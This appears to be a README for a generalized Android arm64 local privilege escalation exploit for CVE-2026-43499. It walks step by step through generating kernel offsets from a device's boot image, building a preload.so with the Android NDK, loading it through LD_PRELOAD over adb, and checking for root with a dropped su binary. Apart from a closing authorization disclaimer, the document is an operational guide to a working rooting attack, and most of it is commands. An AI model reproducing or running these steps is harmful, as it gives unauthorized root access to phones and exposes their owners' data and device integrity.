CVE-2026-43499 Android arm64 Local Privilege Escalation Adaptation

English | 中文

This is an Android arm64 local privilege escalation adaptation project for CVE-2026-43499.

The project generates a target-specific target.h from the target device's boot.img and profile, then builds the corresponding preload.so.

Note: This is a generalized adaptation framework and is not tied to a single device model. Actual compatibility depends on whether generate_target.py can successfully generate target.h and whether the result works on the target device.

Directory Structure

project/
├── boot.img                  # boot image from the target firmware
├── profile_xxx.json           # target device profile
├── detect_offset.py           # profile detection helper
├── generate_target.py         # generates target.h
├── source/
│   ├── Makefile
│   └── src/
│       └── target.h           # auto-generated
└── source/build/bin/
    └── preload.so             # build output

Requirements

Python 3
LLVM / llvm-objdump
Android NDK
make
adb

Recommended Windows environment:

MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64

Install make in MSYS2:

pacman -S make coreutils

Prepare Files

You need:

boot.img
profile_xxx.json

Profile example:

{
  "p0_phys_offset": "0x80000000",
  "p0_kernel_phys_load": "0xc7800000"
}

The two addresses in the profile:

p0_phys_offset
p0_kernel_phys_load

can be obtained by running the script on an already-rooted phone with the same firmware as the target boot.img:

python3 detect_offset.py

On Windows:

python detect_offset.py

Usage

1. Enter the Project Directory

Linux / macOS:

cd /path/to/project

Windows MSYS2 example:

cd /d/unlockProject/CVE/CVE-2026-43499-xxxxxx-main

2. Set the NDK Path

Linux / macOS:

export ANDROID_NDK_HOME=/path/to/android-ndk

Windows MSYS2:

export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29

3. Generate target.h

python3 generate_target.py   --boot boot.img   --profile profile_xxx.json   -o source/src/target.h

On Windows, if python3 is not available:

python generate_target.py   --boot boot.img   --profile profile_xxx.json   -o source/src/target.h

If llvm-objdump is not found, specify it manually:

python generate_target.py   --boot boot.img   --profile profile_xxx.json   -o source/src/target.h   --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"

Successful output:

Generated successfully: .../source/src/target.h
kernel SHA-256: ...
target macros: ...

4. Build preload.so

Linux / macOS:

make -C source clean preload

Windows MSYS2:

make -C source clean preload NDK_PREBUILT=windows-x86_64

Output:

source/build/bin/preload.so

5. Push to Device and Run

adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'

Verify:

adb shell '/data/local/tmp/su -c id'

Successful output usually contains:

uid=0(root) gid=0(root)

Windows MSYS2 Quick Start

cd /d/unlockProject/CVE/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
python generate_target.py --boot boot.img --profile profile_xxx.json -o source/src/target.h --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
make -C source clean preload NDK_PREBUILT=windows-x86_64

Final output:

source/build/bin/preload.so

Common Issues

llvm-objdump not found

Install LLVM, or specify the path manually:

--llvm-objdump "/path/to/llvm-objdump"

make not found

On Windows, install it in MSYS2:

pacman -S make coreutils

clang not found

Usually the Android NDK path is wrong:

export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64

target.h generation failed

Check:

boot.img is complete
profile is correct
llvm-objdump is available
the kernel has IKCONFIG / kallsyms / BTF

Notes

If you change the device, firmware, or kernel, regenerate target.h.
Do not edit target.h manually. It should be generated by generate_target.py.
Use this project only on devices and environments where you have authorization.

CVE-2026-43499-Poc-Analysis

Most Popular